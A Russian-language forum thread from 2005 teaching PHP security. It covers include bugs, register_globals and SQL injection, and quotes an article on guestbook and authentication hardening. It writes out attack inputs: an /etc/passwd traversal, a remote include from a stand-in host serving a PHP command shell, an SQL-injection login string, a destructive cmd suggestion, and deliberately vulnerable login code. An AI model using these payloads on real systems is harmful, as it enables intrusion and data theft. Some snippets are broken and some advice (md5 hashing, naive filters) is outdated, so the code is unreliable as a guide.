Модераторы: Aliance, skyboy, MoLeX, ksnk

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Безопасность в PHP, Статья 
:(
    Опции темы
Opik
Дата 6.1.2005, 00:06 (ссылка) |   (голосов:2) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Vingrad developer
Сообщений: 1918
Регистрация: 6.10.2004
Где: Рига

Репутация: нет
Всего: 55



Первое и самое главное правило программиста:
Никогда не доверяй тому, чего приходит от пользователя!
Больше не буду мучить теорией т.к не люблю всё это, сразу к живым примерам.
Ошибка №1: include-баг
Ошибка №1 заключается в т.н include-баге.
Описание:
Вы делаете простенький движок сайта со следующей структурой:
Код
<?
// Тут код
include($page);
// тут ещё какой нить код
?>

и навигация происходит методов ссылок, типа:
Код

<a href="index.php?page=aboutme.php">
<a href="index.php?page=photos.php">

т.е переменная $page содержит имя подлючаемого файла. Если Вы делаете сайт такого типа, то , что мешает хакеру воспользоваться данной дырой и сделать своё коварное дело? ничего smile
а сделает он следующим образом:
Метод №1:
подставит своё значение page:
Цитата
index.php?page=../../../../../etc/passwd

Тем самым благополучно получит содержимое этого файла на экран. (В нем хранятся пароли, однако на современных хостах они обычно зашифрованы smile Однако доступ можно получить будет к любому файлу.)
Метод №2:
Include своего скрипта. Если на сервере включена опция open_wrappers (Возможность работы с удаленными файлами), то хакер может поступить и так:
Цитата
index.php?page=http://www.hack.com/hack.txt

А файл hack.txt:
Код

<?
  if (empty($_GET['cmd'])){
      $cmd = 'ls -la';
  } else {
      $cmd = $_GET['cmd'];
  }
  system($cmd);
?>


Если на сервере есть возможность пользоваться системыни командами, то хакер получит список всех файлов в данном каталоге. И что самое ужасное может выполнять Shell команды, что собственно влечет за собой взлом сервера.
Решения:
Функция basename. Эта функция вернет имя файла, чей путь был передан в качестве параметра. Если имя файла оканчивается на suffix, он также будет отброшен. Например
Пример 1. Пример использования функции basename()
Код

<?php
$path = "/home/httpd/html/index.php";
$file = basename($path);        // $file содержит "index.php"
$file = basename($path, ".php"); // $file содержит "index"
?>  

на деле:
Код
<?
include("./".basename($page));
?>
Максимум что получит хакер - сообщение что файл не найден.
Избежать инклуда можно указыв все возможные варианты:
Код
<?
  $green = array("aboutme.php", "photos.php");
  if (isset($_GET['page']) && in_array($_GET['page'],$green)){
     include($_GET['page']);
  }
?>

Для полной безопасности я воспользовался уже известной функцией basename()
Однако такой подход не удобен, если страниц много.
Если же вам необходимо подключать файлы из разных каталогов, то можно поспользоваться оператором switch или старыми добрыми if elseif else…например:
Код
switch($_GET['page']){
Case 'aboutme':
    $filepath = 'lib/aboutme.php';
Break;
Case 'history':
    $filepath = 'other/history.php';
Break;
Default:
    $filepath = 'inc/news.php';
}
Include($filepath);

Последний вариант, и наверное более верный, пропускать только "подходящие символолы", это A-Za-z0-9_- и делать это примерно так:
Код

if("/^([A-Za-z0-9_-]+)$/", $_GET['page'])
{
     $file = $_GET['page'];
}
else
{
     $file = "main.php";
}
include($file);

Ошибка №2: register_globals
Сразу скажу, что это ошибкой не является, но это не мешает быть причиной взломов.
На многих серверах эта опция PHP стоит в положении ON, что значит доступ к переменным окружения через их индекс напрямую, из вышеуказанного примера:
$page, правильно будет использовать $_GET['page']. Сейчас кратко скажу почему оно именно так:
Указывая суперглобальный(т.е доступным из любого места программы(main, class, function)) массив $_GET, мы говорим программе брать значение только из метода GET. Иначе хакер мог бы воспользоваться, например, методом POST и подставить своё значение smileи наоборот, соответсвенно..
Доступные суперглобальные массивы:
Цитата
$_POST
$_GET
$_REQUEST  (Опять же объединяет всё вместе)
$_COOKIE
$_SESSION

Далее распинаться по поводу register_globals я не хочу, т.к по этому поводу написана не одна статья... К добавок скажу, что на момент отладки скрипта включите отображение всех нотайсов (сообщений PHP):
Код
error_reporting(E_ALL);

в PHP5 лучше установить уровень E_STRICT
И определяйте все значения заранее. Тем самым Вы избавитесь от возможных ошибок . Когда Вы заканчиваете режим отладки и выставляете Ваше творение на общее обозрение ставьте нулевой вывод ошибок, т.е
Код
error_reporting(0);
Это лишит злоумышленника "лишней" информации по поводу скрипта, тем самым кое как обезопасив его.
Ошибка №3: SQL-инъекции
SQL – инъекции[b] – это SQL запросы, которые выполняет хакер для получения нужного ему результата.
Приведу пример:
Код
$query = mysql_query("select * from users where user='$username' and password='$password'");
и предварительно никаких проверок на эти данные нету. Как может поступить хакер. Пошагово:
1) Узнать существующий логин, например админа – Admin;
2) Логиниться, если через форму, то, в поле для пароля ввести: ' or a = 'a
Тем самым получится запрос:
Код
select * from users where user='Admin' and password='' or a = 'a'
Хм, разберем его =), а именно ту часть, где пароль: password='' or a = 'a', пароль у админа вряд ли будет NULL, по условию это не подойдет и поэтому стоит оператор or, а далее a = 'a', т.е будет истиной, и хакер успешно залогинится с админскими правами. Из вариантов посложнее, будет использование функции Union, которая доступна в MySQL с 4 версии. А служит она для объединения запросов, например добавить свой запрос и получить, к примеру пароли, или хэши оных =).
Как бороться:
1) Перед подставлением параметра, обязательно его обрабатывать функцией mysql_escape_string(); Эта функция экранирует все SQL спец-символы в unescaped_string, вследствие чего, её можно безопасно. Эта функция идентична функции mysql_real_escape_string. Однако в последняя экраниует в зависимости от кодировки, в которой Вы работаете с БД;
2) Если переменная заведомо является числом, можно привести её к числовому виду:
Код
$val = intval($_GET['param']);
или же
Код
$val = (int)$_GET['param'];


Пару советов:
1) Тчательно шифруйте пароли доступа, например, функцией md5, чтобы усложнить расшифровку хеша, можете добавлять случайную строку.
2) Делать пароли на базу и FTP разными. Ведь имея возможность читать файлы, хакер сможет получить полный доступ к серверу. При хранении данных от пользователя, например в гостевых книгах делать проверки на html теги – htmlspecialchars();
3) Если есть возможность обойтись без функции system. То лучше вообще её отключить (в конфиге disable_functions).
В заключение:
Если вы определили, что на сервере вашего провайдера возможны подобные действия, попросите администратора запретить их. если ваш скрипт написан безупречно, но вы вынуждены использовать shared hosting, вы ставите свой сайт под удар маразматиков, чьи криво написанные сайты лежат на том же сервере, что и ваш.

Обсуждение здесь

Это сообщение отредактировал(а) Opr - 19.5.2005, 02:57
PM MAIL Skype   Вверх
IZ@TOP
Дата 6.1.2005, 00:13 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Панда-бир!
****


Профиль
Группа: Участник
Сообщений: 4795
Регистрация: 3.2.2003
Где: Бамбуковый лес

Репутация: 1
Всего: 73



Думаю что про метод №2 надо уточнить чтобы было понятно, записав в урл какую нибудь команду: cmd=rmdir(/)...


--------------------
Один из розовых плюшевых-всадников апокалипсиса... очень злой...

Семь кругов ада для новых элементов языка
Мои разрозненные мысли
PM MAIL WWW ICQ Skype GTalk   Вверх
InfMag
Дата 23.1.2005, 19:14 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата



***


Профиль
Группа: Завсегдатай
Сообщений: 1037
Регистрация: 21.11.2004

Репутация: нет
Всего: 4



Мдя, очень полезная статья, но она еще и дает информацию для самих хакеров... smile smile
Кстати, люди, если не хотите, чтобы юзеры видели содержимое ваших папок, набирая типа: http://mysite.ru/images/ , то просто в папках, не имеющих главных файлов посоздавайте пустые файлы просто - index.html ...
Добавлено @ 19:21
И еще одна фишка, для людей таких как я - не очень любящих MySQL и использующих простые файлы и функцию explode.
Для того, чтобы юзеры не могли набирая http://site.ru/data/passwd.dat увидеть ваши пароли, либо MD5 хеши (их можно легко подобрать, например через MD5 Inside), то создайте папку date в корневом коталоге Вашего сайта (то бишь где валяются папки site(или www), cgi-bin и прочие) и выложите все свои файлы, где храниться записываемая информация в нее.
Если хотите инклудировать фалйы, то пишите include("../date/file.dat");. Дальше вы разберетесь.
PM   Вверх
InfMag
Дата 23.1.2005, 19:30 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата



***


Профиль
Группа: Завсегдатай
Сообщений: 1037
Регистрация: 21.11.2004

Репутация: нет
Всего: 4



Теперь идет речь о include баге...
Юзер может набрать http://site.ru/page.php?file=../date/passwd.dat
Можно использовать обычные извращения типа:
Код

if ($_GET['file'] == "../date/passwd.dat") {
echo "Вы ввели запрещеный адрес файла!";
return 0;
}


Либо прописать замену двойных точек со слешем.
Код

if (file_exists($_GET['file'])) {
$_GET['file'] = ereg_replace("../","",$_GET['file']);
} else {
echo "Такого файла не существует!";
return 0;
}


Зы. Кто не знает, то return 0; - означает, что дальше скрипт не поедет и остановится на этом месте. А return 1; - это спокойное продолжение дальше. Еще можно вместо 0 писать FALSE, а вместо 1 писать TRUE...
PM   Вверх
Opik
Дата 24.1.2005, 00:36 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Vingrad developer
Сообщений: 1918
Регистрация: 6.10.2004
Где: Рига

Репутация: нет
Всего: 55



InfMag
про index.html - можно просто запретить листинг директорий.
на файлы с паролями обычно ставят права на чтение только сервером.
Цитата
if ($_GET['file'] == "../date/passwd.dat") {
echo "Вы ввели запрещеный адрес файла!";
return 0;
}
Извини, но бред. много мороки.
Цитата
return 0;

exit() или die() на что?
Код
$_GET['file'] = ereg_replace("../","",$_GET['file']);

о basename внимательно читал?
PM MAIL Skype   Вверх
pasha_kiev
Дата 26.1.2005, 14:36 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 14
Регистрация: 26.1.2005

Репутация: нет
Всего: нет



Скажите,
а если у меня на стрнаице вывод переменной типа:

Код

echo $string;


и потом отправка ее по почте
и она задается в запросе
Код

page.php?string=dkl;skd;sdk


то хватит ли ее так обезопасить?

Код

if($string){
$string=htmlspecialchars($string);
$string=trim($string);
$string=substr($string, 0, 50)
};


Это у меня в форме обратной связи

Добавлено @ 14:40
И вообще, давайте затроним шире вопрос проверки переменных

Это сообщение отредактировал(а) pasha_kiev - 26.1.2005, 14:39
PM MAIL   Вверх
Vaulter
Дата 26.1.2005, 14:58 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Участник Клуба
Сообщений: 1724
Регистрация: 30.12.2002
Где: бункер

Репутация: нет
Всего: 22



pasha_kiev
нельзя ли форму отправлять методом POST?
тогда строки не будет в строке адреса page.php?string=dkl;skd;sdk


--------------------
PM MAIL WWW ICQ   Вверх
pasha_kiev
Дата 26.1.2005, 15:08 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 14
Регистрация: 26.1.2005

Репутация: нет
Всего: нет



она так и отправляется через ПОСТ, просто я для пирмера показал так

Дело в том, что форма может и не передать переменную,
и тогда ее может ввести через запрос кулХацкер
PM MAIL   Вверх
pasha_kiev
Дата 26.1.2005, 15:25 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 14
Регистрация: 26.1.2005

Репутация: нет
Всего: нет



вообщем вопрос отсается открытым - о качественной проверке переменных вводимых из-вне.
PM MAIL   Вверх
Opik
Дата 26.1.2005, 16:28 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Vingrad developer
Сообщений: 1918
Регистрация: 6.10.2004
Где: Рига

Репутация: нет
Всего: 55



pasha_kiev
если это данные SQL, то mysql_escape_string вполне хватит
PM MAIL Skype   Вверх
pasha_kiev
Дата 26.1.2005, 19:45 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 14
Регистрация: 26.1.2005

Репутация: нет
Всего: нет



нет, это простые переменные, которые потом передаются по мылу
PM MAIL   Вверх
Opik
Дата 26.1.2005, 22:05 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Vingrad developer
Сообщений: 1918
Регистрация: 6.10.2004
Где: Рига

Репутация: нет
Всего: 55



pasha_kiev
если это само мыло, то смотреть регами на правильность емайла. Да думаю тут опасного ничего нет.
PM MAIL Skype   Вверх
pasha_kiev
Дата 27.1.2005, 23:46 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 14
Регистрация: 26.1.2005

Репутация: нет
Всего: нет



при чем здесь мыло?
я хочу узнать как надежно проверять переменные вводимые пользователем
несмотря на цели их использования
PM MAIL   Вверх
Opik
Дата 28.1.2005, 02:02 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Vingrad developer
Сообщений: 1918
Регистрация: 6.10.2004
Где: Рига

Репутация: нет
Всего: 55



pasha_kiev
всё как раз зависит от целей.
PM MAIL Skype   Вверх
IZ@TOP
Дата 28.1.2005, 10:03 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Панда-бир!
****


Профиль
Группа: Участник
Сообщений: 4795
Регистрация: 3.2.2003
Где: Бамбуковый лес

Репутация: 1
Всего: 73



pasha_kiev, для переданных данных об адресе мейла будет одна проверка, при проверке номера ICQ, адреса сайта - другие, при передаче данных в MySQL третья, при записи в файлы четвертая. И для разных случаев необходимы разные проверки, например при ситуации когда надо чтобы в тесте созхранялся HTML, делаем одно, а когда нужно чтобы его там небыло - другое.


--------------------
Один из розовых плюшевых-всадников апокалипсиса... очень злой...

Семь кругов ада для новых элементов языка
Мои разрозненные мысли
PM MAIL WWW ICQ Skype GTalk   Вверх
penizillin
Дата 29.1.2005, 20:31 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 312
Регистрация: 10.11.2004

Репутация: нет
Всего: 9



Цитата(pasha_kiev @ 26.1.2005, 13:08)
Дело в том, что форма может и не передать переменную,
ух... а можно пример?
PM MAIL ICQ   Вверх
Opik
Дата 19.3.2005, 05:04 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Vingrad developer
Сообщений: 1918
Регистрация: 6.10.2004
Где: Рига

Репутация: нет
Всего: 55



Так, чем пополнить статью? smile
PM MAIL Skype   Вверх
Aliance
Дата 18.5.2005, 23:42 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


I ♥ <script>
****


Профиль
Группа: Модератор
Сообщений: 6418
Регистрация: 2.8.2004
Где: spb

Репутация: нет
Всего: 137



Цитата(Opr @ 19.3.2005, 06:04)
Так, чем пополнить статью?

уловками по обеспечению безопасности
PM MAIL WWW ICQ Skype   Вверх
Opik
Дата 19.5.2005, 02:59 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Vingrad developer
Сообщений: 1918
Регистрация: 6.10.2004
Где: Рига

Репутация: нет
Всего: 55



Чуть поправил статью.
PM MAIL Skype   Вверх
Mal Hack
Дата 19.5.2005, 13:45 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Мудрый...
****


Профиль
Группа: Участник Клуба
Сообщений: 9926
Регистрация: 15.2.2004

Репутация: 1
Всего: 261



Цитата(Opr @ 19.5.2005, 03:59)
Чуть поправил статью.

ты скажи что конкретно поправил, а то ведь не отличишь..
PM ICQ   Вверх
Opik
Дата 19.5.2005, 15:33 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Vingrad developer
Сообщений: 1918
Регистрация: 6.10.2004
Где: Рига

Репутация: нет
Всего: 55



Ну правил стиль написания smile) что не понравилось, переписал на более легкое чтение. А в основом дописал про include баг, добавил пример решения, описал функцию. и так по мелочам что то.
PM MAIL Skype   Вверх
Irokez
Дата 19.5.2005, 15:51 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


индеец
***


Профиль
Группа: Участник Клуба
Сообщений: 1180
Регистрация: 20.10.2004

Репутация: 1
Всего: 53



Цитата(Opr @ 19.3.2005, 05:04)
Так, чем пополнить статью? smile

было бы интересно про использования SSL сертификатов для аутентинфикации пользователя..
PM   Вверх
fara
Дата 29.5.2005, 21:15 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 166
Регистрация: 15.3.2004
Где: С.-Петербург

Репутация: нет
Всего: 2



Да, действительно, что нибудь по серьезней smile
--------------------
Крыша хлопает в ладоши -Спасибо всем за план хороший!
PM MAIL ICQ   Вверх
$дмитрий
Дата 29.5.2005, 22:29 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Завсегдатай
Сообщений: 1037
Регистрация: 19.6.2004

Репутация: нет
Всего: 45



Opr когда- то писал свою статью по безопасности, на примерах. вышлю в ПМ, если нужно используй.
PM MAIL   Вверх
PROCESSOR
Дата 19.7.2005, 06:47 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 238
Регистрация: 25.5.2005

Репутация: нет
Всего: нет



Слава богу этих 3 ошибок неюзал никогда в жизни.

А методы взлома SQLite есть и вообще значительные дыры в PHP5 ?
PM MAIL   Вверх
Mal Hack
Дата 19.7.2005, 09:32 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Мудрый...
****


Профиль
Группа: Участник Клуба
Сообщений: 9926
Регистрация: 15.2.2004

Репутация: 1
Всего: 261



Цитата(PROCESSOR @ 19.7.2005, 07:47)
Слава богу этих 3 ошибок неюзал никогда в жизни.

Ты можешь их никогда и не поюзать, вопрос в том, поюзает ли их кто-ть против тебя smile

Цитата(PROCESSOR @ 19.7.2005, 07:47)
А методы взлома SQLite есть и вообще значительные дыры в PHP5 ?

Также SQL иньекции, и простое скачивание файлов БД, если права на файл не установлены smile
PM ICQ   Вверх
-=Ustas=-
Дата 21.7.2005, 08:25 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Ustix IT Group
****


Профиль
Группа: Участник Клуба
Сообщений: 2222
Регистрация: 21.1.2005
Где: Краснодар

Репутация: нет
Всего: 69



А вообще что лучше юзать в плане безопасности против sql-инъекций, addslashes или mysql_escape_string? Ведь эти две функции обе экранируют спецсимволы.


--------------------
В искаженном мире все догмы одинаково произвольны, включая догму о произвольности догм.
-----
PM WWW ICQ Skype   Вверх
Mal Hack
Дата 21.7.2005, 12:50 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Мудрый...
****


Профиль
Группа: Участник Клуба
Сообщений: 9926
Регистрация: 15.2.2004

Репутация: 1
Всего: 261



Цитата
mysql_escape_string

Само собой, т.к. она экранирует то, что нужно именно для mysql.
PM ICQ   Вверх
HappyMan
Дата 28.8.2005, 19:12 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 347
Регистрация: 29.7.2004

Репутация: нет
Всего: 2



Mal Hack
Цитата

и простое скачивание файлов БД, если права на файл не установлены


как узнать установлены ли права?


--------------------
Цитата
Желательно на 100%.
© Mal Hack
PM MAIL   Вверх
Denis-delphist
Дата 26.11.2005, 11:50 (ссылка)    |    (голосов: 0) Загрузка ... Загрузка ... Быстрая цитата Цитата


Unregistered











Что-бы ты в коде не писал, какую бы защиту не ставил, если взломать не через сайт, а через соединение с сервером, то можно код изкаверкать, изменить, прочитать и удалить и т.п.
есс-но, можно зайти как администратор(Соедениться с сервером с другого) не через сайт...
Тогда кранты smile
МОГУ ОБРАДОВАТЬ: Таких хакеров щитанные сотни smile
Так что вывод: Защищай соединение с сервером как можно сильнее. smile
  Вверх
CyClon
Дата 4.12.2005, 09:45 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 838
Регистрация: 3.12.2005

Репутация: нет
Всего: 4



Респект, теперь есть о чем подумать... Давайте еще... Сам может что надумаю или найду - выложу...


--------------------
user posted image
PM   Вверх
CyClon
Дата 10.12.2005, 20:21 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 838
Регистрация: 3.12.2005

Репутация: нет
Всего: 4



Цитата
Приемы защиты веб-приложений на PHP

Единственная цель этой статьи - показать некоторые часто используемые приемы защиты веб-приложений - типа WWW-чатов, гостевых книг, веб-форумов и других приложений подобного рода... 
Илья Басалаев
woweb.ru
10-05-2004
печать



Первой заповедью веб-программиста, желающего написать более-менее защищенное веб-приложение, должно стать "Никогда не верь данным, присылаемым тебе пользователем".

Пользователи - это по определению такие злобные хакеры, которые только и ищут момента, как бы напихать в формы ввода всякую дрянь типа PHP, JavaScript, SSI, вызовов своих жутко хакерских скриптов и тому подобных ужасных вещей. Поэтому первое, что необходимо сделать - это жесточайшим образом отфильтровать все данные, присланные пользователем.

Допустим, у нас в гостевой книге существует 3 формы ввода: имя пользователя, его e-mail и само по себе тело сообщения. Прежде всего, ограничим количество данных, передаваемых из форм ввода чем-нибудь вроде:

<input type=text name=username maxlength=20>

На роль настоящей защиты, конечно, это претендовать не может - единственное назначение этого элемента - ограничить пользователя от случайного ввода имени длиннее 20-ти символов. А для того, чтобы у пользователя не возникло искушения скачать документ с формами ввода и подправить параметр maxlength - установим где-нибудь в самом начале скрипта, обрабатывающего данные, проверку переменной окружения web-сервера HTTP-REFERER:

<?
$referer=getenv("HTTP_REFERER");
if (!ereg("^http://www.myserver.com")) {
echo "hacker? he-he... ";
exit;
}
?>

Теперь, если данные переданы не из форм документа, находящегося на сервере www.myserver.com, “кул хацкеру” будет выдано деморализующее сообщение. На самом деле, и это тоже не может служить 100%-ой гарантией того, что данные ДЕЙСТВИТЕЛЬНО переданы из нашего документа. В конце концов, переменная HTTP_REFERER формируется браузером, и никто не может помешать хакеру подправить код браузера, или просто зайти телнетом на 80-ый порт и сформировать свой запрос. Так что подобная защита поможет только от Ну Совсем Необразованных Хакеров.

Впрочем, по моим наблюдениям, около 80% процентов злоумышленников на этом этапе останавливаются и дальше не лезут - то ли IQ не позволяет, то ли просто лень. Лично я попросту вынес этот фрагмент кода в отдельный файл, и вызываю его отовсюду, откуда это возможно. Времени на обращение к переменной уходит немного - а береженого Бог бережет.

Следующим этапом станет пресловутая жесткая фильтрация переданных данных. Прежде всего, не будем доверять переменной maxlength в формах ввода - и ручками порежем строку:

$username=substr($username,0,20);

Не дадим пользователю использовать пустое поле имени - просто так, чтобы не давать писать анонимные сообщения:

if (empty($username)) {
echo "invalid username";
exit;
}

Запретим пользователю использовать в своем имени любые символы, кроме букв русского и латинского алфавита, знака "_" (подчеркивание), пробела и цифр:

if (preg_match("/[^(w)|(x7F-xFF)|(s)]/",$username)) {
echo "invalid username";
exit;
}

Я предпочитаю везде, где нужно что-нибудь более сложное, чем проверить наличие шаблона в строке или поменять один шаблона на другой, использовать Перл-совместимые регулярные выражения (Perl-compatible Regular Expressions). То же самое можно делать и используя стандартные PHP-шные ereg() и eregi(). Я не буду приводить здесь эти примеры - все достаточно подробно описано в мануале.

Для поля ввода адреса e-mail добавим в список разрешенных символов знаки "@" и "." (иначе пользователь не сможет корректно ввести адрес). Зато уберем русские буквы и пробел:

if (preg_match("/[^(w)|(@)|(.)]/",$usermail)) {
echo "invalid mail";
exit;
}

Поле ввода текста мы не будем подвергать таким жестким репрессиям - перебирать все знаки препинания, которые можно использовать, попросту лень; поэтому ограничимся использованием функций nl2br() и htmlspecialchars() - это не даст врагу понатыкать в текст сообщения html-тегов.

Некоторые разработчики, наверное, скажут: "а мы все-таки очень хотим, чтобы пользователи _могли_ вставлять теги". Если сильно неймется - можно сделать некие тегозаменители, типа "текст, окруженный звездочками, будет высвечен bold"ом.". Но никогда не следует разрешать пользователям использование тегов, подразумевающих подключение внешних ресурсов - от тривиального <img> до супернавороченного <bgsound>.

Как-то раз меня попросили потестировать html-чат. Первым же замеченным мной багом было именно разрешение вставки картинок. Стоило учесть еще пару особенностей строения чата – и через несколько минут у меня был файл, в котором аккуратно были перечислены IP-адреса, имена и пароли всех присутствовавших в этот момент в чате пользователей. Как? Да очень просто - чату был послан тег <img src=http://myserver.com/myscript.pl>, в результате чего браузеры всех пользователей, присутствовавших в тот момент на чате, вызвали скрипт myscript.pl с хоста myserver.com. (а людей, сидевших под lynx"ом, там не было :-) ). Скрипт же, перед тем как выдать location на картинку, свалил мне в лог-файл половину переменных окружения - в частности QUERY_STRING, REMOTE_ADDR и других. Для каждого пользователя; с вышеупомянутым результатом…

Посему мое мнение - да, разрешить вставку html-тегов в чатах, форумах и гостевых книгах - это красиво, но игра не стоит свеч - вряд ли пользователи пойдут к вам в форум или чат, зная, что их IP может стать известным первому встречному хакеру. Да и не только IP - возможности javascript я перечислять не буду :-)

Для примитивной гостевой книги - перечисленных средств хватит, чтобы сделать ее более-менее сложной для взлома. Однако, для удобства книги обычно содержат некоторые возможности для модерирования - как минимум, возможность удаления сообщений. Разрешенную, естественно, узкому (или не очень) кругу лиц. Посмотрим, что можно сделать здесь.
Допустим, вся система модерирования книги также состоит из двух частей - страницы со списком сообщений, где можно отмечать подлежащие удалению сообщения, и непосредственно скрипта, удаляющего сообщения. Назовем их, соответственно, admin1.php и admin2.php.

Простейший и надежнейший способ аутентификации пользователя - размещение скриптов в директории, защищенной файлом .htaccess. Для преодоления такой защиты нужно уже не приложение ломать, а web-сервер. Что несколько сложнее и уж, во всяком случае, не укладывается в рамки этой статьи. Однако, такой способ не всегда пригоден к употреблению - иногда нужно все-таки проводить авторизацию средствами самого приложения.

Первый, самый простой способ - авторизация средствами HTTP, через код 401. При виде такого кода возврата, любой нормальный браузер высветит окошко авторизации и попросит ввести логин и пароль. А в дальнейшем браузер при получении кода 401 будет пытаться подсунуть web-серверу текущие для данного realm"а логин и пароль, и только в случае неудачи - потребует повторной авторизации. Пример кода для вывода требования на такую авторизацию есть во всех хрестоматиях и мануалах:

if (!isset($PHP_AUTH_USER)) {
Header("WWW-Authenticate: Basic realm="My Realm"");
Header("HTTP/1.0 401 Unauthorized");
exit;
}

Разместим этот кусочек кода в начале скрипта admin1.php. После его выполнения, у нас будут две установленные переменные: $PHP_AUTH_USER и $PHP_AUTH_PW, в которых, соответственно, будут лежать имя и пароль, введенные пользователем. Их можно, к примеру, проверить по SQL-базе:

*** Внимание!!!***

В приведенном ниже фрагменте кода сознательно допущена серьезная ошибка в безопасности. Попытайтесь найти ее самостоятельно.

$sql_statement="select password from people where name="$PHP_AUTH_USER"";
$result = mysql($dbname, $sql_statement);
$rpassword = mysql_result($result,0,"password");
$sql_statement = "select password("$PHP_AUTH_PW")";
$result = mysql($dbname, $sql_statement);
$password = mysql_result($result,0);
if ($password != $rpassword) {
Header("HTTP/1.0 401 Auth Required");
Header("WWW-authenticate: basic realm="My Realm"");
exit;
}

Упомянутая ошибка, между прочим, очень распространена среди начинающих и невнимательных программистов. Когда-то я сам поймался на эту удочку - по счастью, особого вреда это не принесло (не считая нескольких нецензурных фраз, оставленных хакером в новостной ленте).

Итак, раскрываю секрет: допустим, хакер вводит заведомо несуществующее имя пользователя и пустой пароль. При этом в результате выборки из базы переменная $rpassword принимает пустое значение. А алгоритм шифрования паролей при помощи функции СУБД MySQL Password() – так же, впрочем, как и стандартный алгоритм Unix - при попытке шифрования пустого пароля возвращает пустое значение. В итоге - $password == $rpassword, условие выполняется, и взломщик получает доступ к защищенной части приложения. Лечится это либо запрещением пустых паролей, либо, на мой взгляд, более правильным путем - вставкой следующего фрагмента кода:

if (mysql_numrows($result) != 1) {
Header("HTTP/1.0 401 Auth Required");
Header("WWW-authenticate: basic realm="My Realm"");
exit;
}

То есть - проверкой наличия одного и только одного пользователя в базе. Ни больше, ни меньше.

Точно такую же проверку на авторизацию стоит встроить и в скрипт admin2.php. По идее, если пользователь хороший человек - он приходит к admin2.php через admin1.php, а значит, уже является авторизованным и никаких повторных вопросов ему не будет - браузер втихомолку передаст пароль. Если же нет - ну, тогда и поругаться не грех. Скажем, вывести ту же фразу "hacker? he-he...".

К сожалению, не всегда удается воспользоваться алгоритмом авторизации через код 401, и приходится выполнять ее только средствами приложения. В общем случае модель такой авторизации будет следующей:
· Пользователь один раз авторизуется при помощи веб-формы и скрипта, который проверяет правильность имени и пароля.
· Остальные скрипты защищенной части приложения каким-нибудь образом проверяют факт авторизованности пользователя.

Такая модель называется сессионной - после прохождения авторизации открывается так называемая "сессия", в течение которой пользователь имеет доступ к защищенной части системы. Сессия закрылась - доступ закрывается. На этом принципе, в частности, строится большинство www-чатов: пользователь может получить доступ к чату только после того, как пройдет процедуру входа. Основная сложность данной схемы заключается в том, что все скрипты защищенной части приложения каким-то образом должны знать о том, что пользователь, посылающий данные, успешно авторизовался.

Рассмотрим несколько вариантов, как это можно сделать:

1. После авторизации все скрипты защищенной части вызываются с неким флажком вида adminmode=1. (Не надо смеяться - я сам такое видел).
Ясно, что любой, кому известен флажок adminmode, может сам сформировать URL и зайти в режиме администрирования. Кроме того - нет возможности отличить одного пользователя от другого.

2. Скрипт авторизации может каким-нибудь образом передать имя пользователя другим скриптам. Распространено во многих www-чатах - для того, чтобы отличить, где чье сообщение идет, рядом с формой типа text для ввода сообщения, пристраивается форма типа hidden, где указывается имя пользователя. Тоже ненадежно, потому что хакер может скачать документ с формой к себе на диск и поменять значение формы hidden. Некоторую пользу здесь может принести вышеупомянутая проверка HTTP_REFERER - но, как я уже говорил, никаких гарантий она не дает.

